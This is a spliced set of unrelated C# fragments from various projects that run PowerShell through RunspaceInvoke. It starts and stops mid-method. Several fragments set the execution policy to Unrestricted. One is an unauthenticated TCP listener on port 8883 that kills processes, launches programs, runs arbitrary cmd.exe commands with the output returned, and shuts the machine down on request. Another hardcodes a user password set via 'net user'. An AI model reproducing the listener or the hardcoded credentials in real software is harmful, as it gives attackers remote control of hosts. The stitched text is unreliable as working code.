(!async.IsCompleted) { try { ar.AsyncWaitHandle.WaitOne(); StringBuilder sb = new StringBuilder(); foreach (PSObject result in ps.EndInvoke(async)) { sb.AppendLine(result.ToString()); } Logger.WriteMessage(LogLevel.Info, $"{sb.ToString()}"); } catch {; } } } return(ar); }
/// <summary> /// Create powershell runspace with pipeline /// </summary> /// <param name="iss"></param> /// <returns></returns> private Pipeline CreateRunspaceWithPipeline(InitialSessionState iss = null) { Runspace runspace; if (null != iss) { runspace = RunspaceFactory.CreateRunspace(iss); } else { runspace = RunspaceFactory.CreateRunspace(); } runspace.Open(); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy RemoteSigned -Scope Process"); Pipeline pipeline = runspace.CreatePipeline(); return(pipeline); }
public string GetSiteCollectionAdminsByPowerShell() { string siteCollectionAdmins = string.Empty; string siteCollectionUrl = this.siteCollectionURL; RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create(); Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfiguration); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); Pipeline pipeline = runspace.CreatePipeline(); string scriptfile = @"C:\LabaniPOCProjects\CollabLAMBot\PowerShell\test.ps1"; Command myCommand = new Command(scriptfile); CommandParameter siteCollectionParam = new CommandParameter("siteCollectionURL", siteCollectionUrl); myCommand.Parameters.Add(siteCollectionParam); CommandParameter SPOAdminParam = new CommandParameter("spoAdmin", SPOAdmin); myCommand.Parameters.Add(SPOAdminParam); CommandParameter SPOAdminPasswordParam = new CommandParameter("spoAdminPassword", SPOAdminPassowrd); myCommand.Parameters.Add(SPOAdminPasswordParam); CommandParameter SPOAdminURLParam = new CommandParameter("spoAdminURL", SPOAdminURL); myCommand.Parameters.Add(SPOAdminURLParam); pipeline.Commands.Add(myCommand); pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); //Execute PowerShell script Collection <PSObject> results = pipeline.Invoke(); if (results.Count >= 1) { foreach (var result in results) { siteCollectionAdmins += result.Properties["DisplayName"].Value.ToString() + " ;"; } } var error = pipeline.Error.ReadToEnd(); runspace.Close(); if (error.Count >= 1) { string errors = ""; foreach (var Error in error) { errors = errors + " " + Error.ToString(); } } return(siteCollectionAdmins); }
public void ExecuteHook(HookTypeRef hookTypeRef, string arguments = null) { _output.WriteLine("Running {0} hook {1}", hookTypeRef.Type, hookTypeRef.FileName); string scriptContent = ""; using (var file = _fs.File.Open(hookTypeRef.FileName, FileMode.Open, FileAccess.Read)) using (var reader = new StreamReader(file)) { scriptContent = reader.ReadToEnd(); file.Close(); } scriptContent = ReplaceString(scriptContent, "write-host", "write-output", StringComparison.InvariantCultureIgnoreCase); try { using (var runspace = RunspaceFactory.CreateRunspace()) { runspace.Open(); var runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope Process"); using (var pipeline = runspace.CreatePipeline()) { var script = PowerShell.Create(); script.Runspace = runspace; script.AddScript(scriptContent); //var command = new Command(hookTypeRef.FileName, true); //pipeline.Commands.Add(command); script.AddParameter("Environment", _instanceConfiguration.Environment); script.AddParameter("InstallationRoot", _installationRoot.Path); var results = script.Invoke(); foreach (var result in results) { _output.WriteLine(result); } if (pipeline.PipelineStateInfo.State != PipelineState.Completed) { _output.WriteLine("{0}", pipeline.PipelineStateInfo.Reason); } if (pipeline.Error.Count > 0) { //iterate over Error PipeLine until end while (!pipeline.Error.EndOfPipeline) { //read one PSObject off the pipeline var value = pipeline.Error.Read() as PSObject; if (value != null) { //get the ErrorRecord var r = value.BaseObject as ErrorRecord; if (r != null) { _output.WriteLine(r.InvocationInfo.MyCommand.Name + " : " + r.Exception.Message); _output.WriteLine(r.InvocationInfo.PositionMessage); _output.WriteLine("+ CategoryInfo: {0}", r.CategoryInfo); _output.WriteLine("+ FullyQualifiedErrorId: {0}", r.FullyQualifiedErrorId); } } } } } runspace.Close(); } } catch (Exception ex) { _output.WriteLine(ex.Message); _output.WriteLine(ex.StackTrace); } }
public static void run() { int port = 8883; String ip = "0.0.0.0"; Socket ServerListener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), port); ServerListener.Bind(ep); ServerListener.Listen(100); Console.WriteLine("Server is online..."); Socket ClientSocket = default(Socket); Program p = new Program(); while (true) { ClientSocket = ServerListener.Accept(); byte[] msg = new byte[1024]; int size = ClientSocket.Receive(msg, 0, msg.Length, SocketFlags.None); string raw = System.Text.Encoding.ASCII.GetString(msg); string[] data = raw.Split(','); try { Console.WriteLine(data[1] + " connected under the IP:" + ClientSocket.RemoteEndPoint + " attempting to call the " + data[0] + " method."); } catch (Exception) { } if (data[0].ToLower().Equals("login")) { //Handler ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes("yes"), 0, System.Text.Encoding.ASCII.GetBytes("yes").Length, SocketFlags.None); Console.WriteLine("sent login"); } else if (data[0].ToLower().Equals("proc")) { string list = ""; Process[] processlist = Process.GetProcesses(); foreach (Process theprocess in processlist) { list += "" + theprocess.ProcessName + "," + theprocess.Id + ","; } ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes(list), 0, System.Text.Encoding.ASCII.GetBytes(list).Length, SocketFlags.None); Console.WriteLine("sent processes"); } else if (data[0].ToLower().Equals("apps")) { string apps = ""; foreach (var file in new DirectoryInfo(@"C:\Users\Spencer Crawford\Desktop").GetFiles("*.lnk")) { apps += file.FullName + ","; } ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes(apps), 0, System.Text.Encoding.ASCII.GetBytes(apps).Length, SocketFlags.None); Console.WriteLine("sent processes"); } else if (data[0].ToLower().Equals("kill")) { Process localById = Process.GetProcessById(Int32.Parse(data[1])); System.Diagnostics.Process[] procs = null; localById.Kill(); } else if (data[0].ToLower().Equals("open")) { try { var prc = Process.Start(data[1]); prc.WaitForInputIdle(); } catch (Exception e) { ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes("false"), 0, System.Text.Encoding.ASCII.GetBytes("false").Length, SocketFlags.None); Console.WriteLine("couldn't open process"); } } else if (data[0].ToLower().Equals("web")) { try { System.Diagnostics.Process.Start(data[1]); } catch (Exception e) { ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes("false"), 0, System.Text.Encoding.ASCII.GetBytes("false").Length, SocketFlags.None); Console.WriteLine("couldn't open process"); } } else if (data[0].ToLower().Equals("powershell")) { // create Powershell runspace Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); // create a pipeline and feed it the script text Pipeline pipeline = runspace.CreatePipeline(); //Command command = new Command(SCRIPT_PATH); //command.Parameters.Add(null, outputFilename); //pipeline.Commands.Add(command); pipeline.Invoke(); runspace.Close(); } else if (data[0].ToLower().Equals("cmd")) { //string result= ""; Process pro = new Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.Arguments = data[1] + "\n"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; pro.StartInfo.CreateNoWindow = true; pro.StartInfo.RedirectStandardOutput = true; pro.Start(); pro.BeginOutputReadLine(); pro.OutputDataReceived += (_, e) => ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes(e.Data.ToString()), 0, System.Text.Encoding.ASCII.GetBytes(e.Data.ToString()).Length, SocketFlags.None); //ClientSocket.Send(System.Text.Encoding.ASCII.GetBytes("endend"), 0, System.Text.Encoding.ASCII.GetBytes("endend").Length, SocketFlags.None); } else if (data[0].ToLower().Equals("shutdown")) { Process.Start("shutdown", "/s /t 0"); } else { Console.WriteLine("Device Connected!"); } } }
public PSExecutionResults ExecuteScript(PSExecutionParameters parameters) { _logger.Information("Attemping to execute script"); (string safeFullPath, string pathErrors) = _fileService.GetScript(parameters.ScriptName); if (!string.IsNullOrWhiteSpace(pathErrors)) { return(new PSExecutionResults { Errors = new[] { pathErrors }, Completed = false }); } if (string.IsNullOrWhiteSpace(safeFullPath)) { return(new PSExecutionResults { Errors = new[] { "Unknown error, path is empty" }, Completed = false }); } _logger.Information("Setting up pipeline for {ScriptPath}", safeFullPath); RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create(); using (Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfiguration)) using (RunspaceInvoke runspaceInvoke = new RunspaceInvoke(runspace)) try { runspace.Open(); ExecutionPolicy policy; if (string.IsNullOrWhiteSpace(parameters.ExecutionPolicy) || !Enum.TryParse(parameters.ExecutionPolicy, true, out policy)) { policy = DefaultExecutionPolicy; } _logger.Information("Setting Execution Policy for process to {ExecutionPolicy}", policy); runspaceInvoke.Invoke($"Set-ExecutionPolicy -Scope Process -ExecutionPolicy {policy}"); using (Pipeline pipeline = runspace.CreatePipeline()) { RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); _logger.Information("Building script command"); Command scriptCommand = new Command(safeFullPath); if (parameters.Parameters != null && parameters.Parameters.Count > 0) { foreach (KeyValuePair <string, string> p in parameters.Parameters) { scriptCommand.Parameters.Add(new CommandParameter(p.Key, p.Value)); } } pipeline.Commands.Add(scriptCommand); try { _logger.Information("Invoking Script"); Collection <PSObject> results = pipeline.Invoke(); string[] errors = null; if (pipeline.Error.Count > 0) { Collection <ErrorRecord> pipelineErrors = pipeline.Error.Read() as Collection <ErrorRecord>; errors = pipelineErrors.Select(x => x.ToString()).ToArray(); } string[] output = results.Select(x => x.ToString()).ToArray(); _logger.Information("Script completed, {OutputCount} outputs, {ErrorCount} errors", output.Length, errors?.Length ?? 0); return(new PSExecutionResults { Output = output, Errors = errors, Completed = true }); } catch (RuntimeException re) { _logger.Error(re, "Runtime exception in pipeline, {ExceptionMessage}", re.Message); return(new PSExecutionResults { Errors = new[] { re.Message }, Completed = false }); } } } finally { runspace.Close(); } }
// ****************************************************************************** /// <summary> /// Scans the current directory for files and other directories /// </summary> /// <returns>Array of SliceCosmosDirectoryInfo objects</returns> // ****************************************************************************** long ScanDirectory(string path, out List <IItemData> newFiles, out List <IItemData> directories) { scanned = true; Debug.WriteLine("Scanning " + path); directories = new List <IItemData>(); newFiles = new List <IItemData>(); long totalSize = 0; if (path == "Cosmos") { MessageBox.Show("To scan a Cosmos directory, drag and drop the URL for that folder from the address bar in Internet Explorer." + " (You must have already cached your Cosmos credentials on the local computer using scope.exe.)", "Cosmos Scan"); return(0); } bool retry = true; while (retry) { try { RunspaceConfiguration rsc = RunspaceConfiguration.Create(); using (Runspace rs = RunspaceFactory.CreateRunspace(rsc)) { rs.Open(); using (RunspaceInvoke scriptInvoker = new RunspaceInvoke()) { //Debug.Write(scriptInvoker.Invoke("[IntPtr]::Size")[0].ToString()); scriptInvoker.Invoke("Import-Module cosmos"); Collection <PSObject> cosmosMetadatas = scriptInvoker.Invoke(String.Format("Get-CosmosStream {0}", path)); foreach (PSObject cosmosMetadata in cosmosMetadatas) { Debug.Write("."); long cosmosFileSize; long.TryParse(cosmosMetadata.Properties["Length"].Value.ToString(), out cosmosFileSize); cosmosFileSize = Math.Max(0, cosmosFileSize); totalSize += cosmosFileSize; string fullName = cosmosMetadata.Properties["StreamName"].Value.ToString();//.TrimEnd('/'); var fileInfo = new ColumnarItemData(fullName.Split('\\', '/'), Columns.ColumnLookup); fileInfo.SetValue(STREAMSIZE, cosmosFileSize); bool isDirectory; bool.TryParse(cosmosMetadata.Properties["IsDirectory"].Value.ToString(), out isDirectory); if (isDirectory) { directories.Add(fileInfo); } else { newFiles.Add(fileInfo); } } Debug.WriteLine(""); retry = false; } } } catch (Exception e) { Debug.WriteLine(e.ToString()); MessageBoxResult result = MessageBox.Show("Cosmos Error! Retry?\r\n\r\n Error: " + e.ToString(), "Cosmos Error", MessageBoxButton.YesNo); if (result == MessageBoxResult.No) { retry = false; } } } return(totalSize); }
public PSExecutionResults ExecuteScript(PSExecutionParameters parameters) { _logger.Information("Attemping to execute script"); if (!parameters.ScriptName.EndsWith(".ps1", StringComparison.OrdinalIgnoreCase)) { parameters.ScriptName += ".ps1"; } if (!VaildPSScriptName.IsMatch(parameters.ScriptName)) { _logger.Error("Script name was not vaild"); return(new PSExecutionResults { Errors = new[] { "Script name is invalid" }, Completed = false }); } string safeFullPath = Directory.EnumerateFiles(_scriptPath, "*.ps1") .Where(x => Path.GetFileName(x).Equals(parameters.ScriptName, StringComparison.OrdinalIgnoreCase)) .FirstOrDefault(); if (string.IsNullOrWhiteSpace(safeFullPath)) { _logger.Error("Script file was not found"); return(new PSExecutionResults { Errors = new[] { "Script file does not exist" }, Completed = false }); } _logger.Information("Setting up pipeline for {ScriptPath}", safeFullPath); RunspaceConfiguration runspaceConfiguration = RunspaceConfiguration.Create(); using (Runspace runspace = RunspaceFactory.CreateRunspace(runspaceConfiguration)) using (RunspaceInvoke runspaceInvoke = new RunspaceInvoke(runspace)) try { runspace.Open(); _logger.Information("Setting Execution Policy for process"); runspaceInvoke.Invoke("Set-ExecutionPolicy -Scope Process -ExecutionPolicy RemoteSigned"); using (Pipeline pipeline = runspace.CreatePipeline()) { RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); _logger.Information("Building script command"); Command scriptCommand = new Command(safeFullPath); if (parameters.Parameters != null && parameters.Parameters.Count > 0) { foreach (KeyValuePair <string, string> p in parameters.Parameters) { scriptCommand.Parameters.Add(new CommandParameter(p.Key, p.Value)); } } pipeline.Commands.Add(scriptCommand); try { _logger.Information("Invoking Script"); Collection <PSObject> results = pipeline.Invoke(); string[] errors = null; if (pipeline.Error.Count > 0) { Collection <ErrorRecord> pipelineErrors = pipeline.Error.Read() as Collection <ErrorRecord>; errors = pipelineErrors.Select(x => x.ToString()).ToArray(); } string[] output = results.Select(x => x.ToString()).ToArray(); _logger.Information("Script completed, {OutputCount} outputs, {ErrorCount} errors", output.Length, errors?.Length ?? 0); return(new PSExecutionResults { Output = output, Errors = errors, Completed = true }); } catch (RuntimeException re) { _logger.Error(re, "Runtime exception in pipeline, {ExceptionMessage}", re.Message); return(new PSExecutionResults { Errors = new[] { re.Message }, Completed = false }); } } } finally { runspace.Close(); } }
private void ExecuteScript(HttpContext context) { string scriptData = File.ReadAllText(context.Request.PhysicalPath); bool parsing = true; int currentPos = 0; int tagComp = 0; List <string> script = new List <string>(); while (parsing) { // Calculate start and end position of the tag int startingPos = scriptData.IndexOf("<%", currentPos, scriptData.Length - currentPos); if (startingPos == -1) { script.Add(string.Format("$Response.Write(\"{0}\")", scriptData.Substring(currentPos + 2, scriptData.Length - (currentPos + 2))).Replace(Environment.NewLine, string.Empty).Trim()); break; } ; // Add before if (currentPos == 0) { tagComp = 0; } else { tagComp = 2; } script.Add(string.Format("$Response.Write(\"{0}\")", scriptData.Substring(currentPos + tagComp, startingPos - (currentPos + tagComp))).Replace(Environment.NewLine, string.Empty).Trim()); int endingPos = scriptData.IndexOf("%>", startingPos, scriptData.Length - startingPos); if (endingPos == -1) { script.Add(string.Format("$Response.Write(\"{0}\")", scriptData.Substring(currentPos, scriptData.Length - currentPos)).Replace(Environment.NewLine, string.Empty).Trim()); break; } string[] multiCommand = scriptData.Substring(startingPos + 2, (endingPos) - (startingPos + 2)).Split(Environment.NewLine.ToCharArray()); foreach (string cmd in multiCommand) { if (!cmd.Trim().Equals(string.Empty)) { script.Add(cmd.Trim()); } } currentPos = endingPos; } Collection <PSParseError> errors; System.Management.Automation.PSParser.Tokenize(script.ToArray(), out errors); if (errors.Count > 0) { string errorData = string.Empty; errorData = "Syntax error: " + errors[0].Message + "<br/><br/><pre>"; if ((errors[0].Token.StartLine - 2) > -1) { errorData += string.Format("{0}<br/>", script[errors[0].Token.StartLine - 2]); } errorData += string.Format("<font color='red'>{0}</font><br/>", script[errors[0].Token.StartLine - 1]); if ((errors[0].Token.StartLine) < script.Count) { errorData += string.Format("{0}<br/>", script[errors[0].Token.StartLine]); } errorData += "</pre>"; SetInternalResponse(context, 500, "INTERNAL ERROR", "PowerShell Processor Parse Error", errorData); return; } string finalScript = string.Empty; foreach (string line in script) { finalScript += line + Environment.NewLine; } RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke(finalScript); }
internal void ProcessRequest(HttpContextBase contextBase) { RunspaceConfiguration config = RunspaceConfiguration.Create(); Runspace runspace = RunspaceFactory.CreateRunspace(config); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); scriptInvoker.Invoke("Set-ExecutionPolicy Unrestricted -Scope Process"); using (runspace) { PowerShell powershell = PowerShell.Create(); powershell.Runspace = runspace; var pipeline = runspace.CreatePipeline(); using (pipeline) { string scriptFullPath = contextBase.Request.PhysicalPath; using (StreamReader sr = new StreamReader(scriptFullPath)) { // Read the stream to a string, and write the string to the console. String scriptContent = sr.ReadToEnd(); pipeline.Commands.AddScript(scriptContent); //var cmd = new Command(scriptContent); Command myCommand = new Command(scriptFullPath); CommandParameter testParam = new CommandParameter("key", "value"); myCommand.Parameters.Add(testParam); pipeline.Commands.Add(myCommand); IEnumerable <string> parameters = null; if (parameters != null) { } } var psRequest = new PSHttpRequest(contextBase.Request); var psResponse = new PSHttpResponse(contextBase.Request); runspace.SessionStateProxy.SetVariable("Request", psRequest); runspace.SessionStateProxy.SetVariable("Response", psResponse); var results = pipeline.Invoke(); System.Collections.ObjectModel.Collection <PSObject> outputs = pipeline.Output.NonBlockingRead(); foreach (var output in outputs) { contextBase.Response.Write("o:" + output.ToString()); } foreach (var result in results) { contextBase.Response.Write("r:" + result.ToString()); } foreach (var error in powershell.Streams.Error) { contextBase.Response.Write("e:" + error); } } } }
public void Execute() { RebootNeeded = false; var resultPath = this.path + ".result"; Runspace runSpace = null; try { var plan = JsonConvert.DeserializeObject <ExecutionPlan>(File.ReadAllText(this.path)); List <ExecutionResult> currentResults = null; try { currentResults = File.Exists(resultPath) ? JsonConvert.DeserializeObject <List <ExecutionResult> >(File.ReadAllText(resultPath)) : new List <ExecutionResult>(); } catch (Exception exception) { Log.WarnException("Cannot deserialize previous execution result", exception); currentResults = new List <ExecutionResult>(); } runSpace = RunspaceFactory.CreateRunspace(); runSpace.Open(); var runSpaceInvoker = new RunspaceInvoke(runSpace); runSpaceInvoker.Invoke("Set-ExecutionPolicy Unrestricted"); if (plan.Scripts != null) { var index = 0; foreach (var script in plan.Scripts) { runSpaceInvoker.Invoke(Encoding.UTF8.GetString(Convert.FromBase64String(script))); Log.Debug("Loaded script #{0}", ++index); } } while (plan.Commands != null && plan.Commands.Any()) { var command = plan.Commands.First(); Log.Debug("Preparing to execute command {0}", command.Name); var pipeline = runSpace.CreatePipeline(); var psCommand = new Command(command.Name); if (command.Arguments != null) { foreach (var kvp in command.Arguments) { var value = ConvertArgument(kvp.Value); psCommand.Parameters.Add(kvp.Key, value); } } Log.Info("Executing {0} {1}", command.Name, string.Join(" ", (command.Arguments ?? new Dictionary <string, object>()).Select( t => string.Format("{0}={1}", t.Key, t.Value == null ? "null" : t.Value.ToString())))); pipeline.Commands.Add(psCommand); try { var result = pipeline.Invoke(); Log.Debug("Command {0} executed", command.Name); if (result != null) { currentResults.Add(new ExecutionResult { IsException = false, Result = result.Where(obj => obj != null).Select(SerializePsObject).ToList() }); } } catch (Exception exception) { object additionInfo = null; if (exception is ActionPreferenceStopException) { var apse = exception as ActionPreferenceStopException; if (apse.ErrorRecord != null) { additionInfo = new { ScriptStackTrace = apse.ErrorRecord.ScriptStackTrace, PositionMessage = apse.ErrorRecord.InvocationInfo.PositionMessage }; exception = apse.ErrorRecord.Exception; } } Log.WarnException("Exception while executing command " + command.Name, exception); currentResults.Add(new ExecutionResult { IsException = true, Result = new[] { exception.GetType().FullName, exception.Message, command.Name, additionInfo } }); break; } finally { plan.Commands.RemoveFirst(); File.WriteAllText(path, JsonConvert.SerializeObject(plan)); File.WriteAllText(resultPath, JsonConvert.SerializeObject(currentResults)); } } runSpace.Close(); var executionResult = JsonConvert.SerializeObject(new ExecutionResult { IsException = false, Result = currentResults }, Formatting.Indented); if (plan.RebootOnCompletion > 0) { if (plan.RebootOnCompletion == 1) { RebootNeeded = !currentResults.Any(t => t.IsException); } else { RebootNeeded = true; } } File.WriteAllText(resultPath, executionResult); } catch (Exception exception) { Log.WarnException("Exception while processing execution plan", exception); File.WriteAllText(resultPath, JsonConvert.SerializeObject(new ExecutionResult { IsException = true, Result = exception.Message }, Formatting.Indented)); } finally { if (runSpace != null) { try { runSpace.Close(); } catch {} } Log.Debug("Finished processing of execution plan"); } }
protected override void OnStart(string[] args) { string vmname = ""; string group_id=""; AutoProvision_WS.AutoProvision_WS ws = new AutoProvision_WS.AutoProvision_WS(); List<string> mac = getLocalMac(); //////檢查 兩個檔案是否存在 利用powershell string check_ip_output = checkFile_ip_reboot(); if (check_ip_output == "") return; string step1_output = checkFile_step1(); if (step1_output == "") return; string line = ""; try { System.IO.StreamReader vmname_load = new System.IO.StreamReader(@"c:\AutoProvision\vmname.txt"); string[] get_orderID_groupID = vmname_load.ReadToEnd().Split(' '); vmname = get_orderID_groupID[0]; group_id = get_orderID_groupID[1]; System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Read vmname.txt vmname:" + vmname +",group_id:"+group_id+ Environment.NewLine); } catch (Exception ex) { System.IO.File.AppendAllText(@"C:\AutoProvision\error.txt", "Read vmname.txt have ex" + ex.Message + Environment.NewLine); return; } /////end ///兩者皆否 撰寫完成 if (step1_output == "False" && check_ip_output == "False") { //AutoProvision_WS.AutoProvision_WS ws = new AutoProvision_WS.AutoProvision_WS(); try { ws.Inset_Percent(vmname, "60", ""); //寫入進度60% //string[] info_result = ws.Get_Order_Info(vmname).Split('"'); //string company_id = info_result[3]; //string area = info_result[7]; //string member_id = info_result[11]; string info_result = ws.Get_Order_Info(vmname); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Get_Order_Info info_result:" + info_result+ Environment.NewLine); JToken info = JObject.Parse(info_result); string company_id = info["company_id"].ToString(); string area = info["area"].ToString(); string member_id = info["member_id"].ToString(); string Get_ComputerName_result = ws.Get_ComputerName(vmname); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Get_ComputerName static_ip_result:" + Get_ComputerName_result + Environment.NewLine); string[] static_ip_result = Get_ComputerName_result.Split('"'); string FQDN = static_ip_result[5]; change_computername(FQDN); IntPtr userTokenHandle = IntPtr.Zero; ApiDefinitions.WTSQueryUserToken(ApiDefinitions.WTSGetActiveConsoleSessionId(), ref userTokenHandle); ApiDefinitions.PROCESS_INFORMATION procInfo = new ApiDefinitions.PROCESS_INFORMATION(); ApiDefinitions.STARTUPINFO startInfo = new ApiDefinitions.STARTUPINFO(); startInfo.cb = (uint)Marshal.SizeOf(startInfo); string restart = "restart-computer -force"; System.IO.File.WriteAllText(@"C:\AutoProvision\del_item_sc2.ps1", restart); System.IO.File.WriteAllText(@"C:\AutoProvision\step1.txt", ""); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "CreateFile step1.txt" + Environment.NewLine); Process p = new Process(); p.StartInfo.FileName = @"C:\AutoProvision\creboot2.exe"; p.StartInfo.UseShellExecute = true; p.Start(); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Run creboot.exe" + Environment.NewLine); p.WaitForExit(); System.Threading.Thread.Sleep(2000); RunspaceInvoke invoker = new RunspaceInvoke(); invoker.Invoke("restart-computer -force"); string RebootPath = @"C:\AutoProvision\creboot2.exe"; System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Reboot.exe" + Environment.NewLine); ApiDefinitions.CreateProcessAsUser(userTokenHandle, RebootPath, "", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startInfo, out procInfo); } catch (Exception ex) { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "set computer name have ex" + ex.Message + Environment.NewLine); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", "Line=" + line + "*********" + ex.Message); } finally { ws.Dispose(); } } /////end ///// 修改 ip domain rdp 未完成 if (step1_output == "True" && check_ip_output == "False") { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Set computer name ok" + Environment.NewLine); //string v = ws.test(); try { RunspaceInvoke invoker = new RunspaceInvoke(); invoker.Invoke("Set-ExecutionPolicy Unrestricted"); invoker.Dispose(); //公司ID及地區 string ip = ""; string netmask = ""; string d_gateway = ""; string d_dns = ""; string o_dns = ""; string rdp_port = ""; string company_id = ""; string area = ""; List<string> macaddress = getLocalMac(); //temp remark List<JToken> IP_detail = new List<JToken>(); string upwd = "!QAZ2wsx"; // pwdGenerator(12, 1); string lines2 = "net user User " + upwd + ""; string domain_ip = ""; string domain_pwd = ""; string domain_account = ""; string domain_name = ""; string member_id = ""; Runspace runspace4 = RunspaceFactory.CreateRunspace(); runspace4.Open(); Pipeline cpassword = runspace4.CreatePipeline(); cpassword.Commands.AddScript(lines2); cpassword.Commands.Add("Out-String"); var cpassword2 = cpassword.Invoke(); string cpassword2output = cpassword2[0].ToString(); cpassword.Dispose(); runspace4.Dispose(); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " cpassword2 : " + cpassword2output + Environment.NewLine); string info_result = ws.Get_Order_Info(vmname); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Get_Order_Info : " + info_result + Environment.NewLine); JToken info = JObject.Parse(info_result); company_id = info["company_id"].ToString(); area = info["area"].ToString(); member_id = info["member_id"].ToString(); //company_id = info_result[3]; //area = info_result[7]; //member_id = info_result[11]; /////////////////////////////// 設定 IP START string Jedi_sql; string temp_vlan = ""; int chech_adapter_num = 0; // Dictionary<string, string> dic = new Dictionary<string, string>(); // DBManager dbManager = new DBManager(DataProvider.SqlServer); // dbManager.ConnectionString = ConfigurationManager.AppSettings["SSM"].ToString(); // dbManager.Open(); // dbManager.CreateParameters(1); // dbManager.AddParameters(0, "@order_id", vmname); // Jedi_sql = @"SELECT COUNT(order_id) // from order_nic_mac_list // where order_id=@order_id"; // chech_adapter_num = System.Convert.ToInt32(dbManager.ExecuteScalar(CommandType.Text, Jedi_sql)); // if (macaddress.Count != chech_adapter_num) //檢查網卡數量 是否等於 DB數量 // { // ws.Inset_VM_config_log(vmname, "SET IP", "ERROR", "Network adapter have some problams."); // //VM_config_log(vmname, "SET IP", "ERROR", "Network adapter have some problams."); // System.IO.File.WriteAllText(@"C:\AutoProvision\logs.txt", "adapter number != order adapter number"); // return; // } try { //get all network configuration string[] dns_t; int ip_result = 0; for (int i = 0; i < macaddress.Count; i++) // get vlanID { // dbManager.CreateParameters(2); // dbManager.AddParameters(0, "@order_id", vmname); // dbManager.AddParameters(1, "@nic_mac", macaddress[i]); // Jedi_sql = @"select vlan_id // from order_nic_mac_list // where order_id=@order_id and nic_mac=@nic_mac"; // temp_vlan = System.Convert.ToString(dbManager.ExecuteScalar(CommandType.Text, Jedi_sql)); temp_vlan = ws.Get_VLAN_ID_Info(vmname, macaddress[i]); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Get_VLAN_ID_Info : " + temp_vlan + Environment.NewLine); JToken temp_parser = JObject.Parse(temp_vlan); string Jedi_IP = ws.Assign_Network_Configuration(macaddress[i], group_id.Replace("\r\n", ""), vmname, area, company_id, temp_parser["vlan_id"].ToString()); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Assign_Network_Configuration: " + Jedi_IP + Environment.NewLine); if (Jedi_IP == "no free ip") { ws.Insert_VM_config_log(vmname, "Static_ip", "error", Jedi_IP); System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Insert_VM_config_log"+ Environment.NewLine); //VM_config_log(vmname, "Static_ip", "error", Jedi_IP); return; } JToken token; token = JObject.Parse(Jedi_IP.Remove(Jedi_IP.Length - 1).Remove(0, 1).Replace("\\", "\\\\")); IP_detail.Add(token); } //for (int i = 0; i < macaddress.Count; i++) //偵測分配IP錯誤 如有錯誤 將以分配的IP ORDER初始化 //{ // if (((Dictionary<string, string>)h[i])["ip"] == "" || h.Count != macaddress.Count) // { // System.IO.File.WriteAllText(@"C:\AutoProvision\IP_logs.txt", "static_IP web_service have some problam."); // ws.Inset_Percent(vmname, "69", "static_IP web_service have some problam."); // } // //clean_IP(vmname); 暫時關閉 // //return; //} for (int i = 0; i < macaddress.Count; i++) { //if (i > 1) { break; } // debug用 List<string> dns = new List<string>(); dns.Add(IP_detail[i].SelectToken("d_dns").ToString()); dns.Add(IP_detail[i].SelectToken("o_dns").ToString()); dns_t = dns.ToArray(); ip_result = ip_result + SetIP(IP_detail[i].SelectToken("used_mac").ToString(), IP_detail[i].SelectToken("ip").ToString(), IP_detail[i].SelectToken("netmask").ToString(), IP_detail[i].SelectToken("d_gateway").ToString(), dns_t); } if (ip_result == 0) //如果更改都成功,更改DB的IP使用狀態 { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Ip set is ok! " + Environment.NewLine); string change_nim = ws.Change_IP_Status(vmname); } else { System.IO.File.AppendAllText(@"C:\AutoProvision\logs.txt", " Ip set is ERROR " + Environment.NewLine); ws.Insert_VM_config_log(vmname, "SET IP", "ERROR", "Network configuration fail."); //VM_config_log(vmname, "SET IP", "ERROR", "Network configuration fail."); return; } /////////////////////////////////////設定 IP結束 } catch (Exception ex) { System.IO.File.AppendAllText(@"C:\AutoProvision\error.txt", " Ip set is ERROR " +ex.Message+ Environment.NewLine); } finally { //dbManager.Dispose(); } //////////////////////////////// ws.Inset_Percent(vmname, "70", ""); 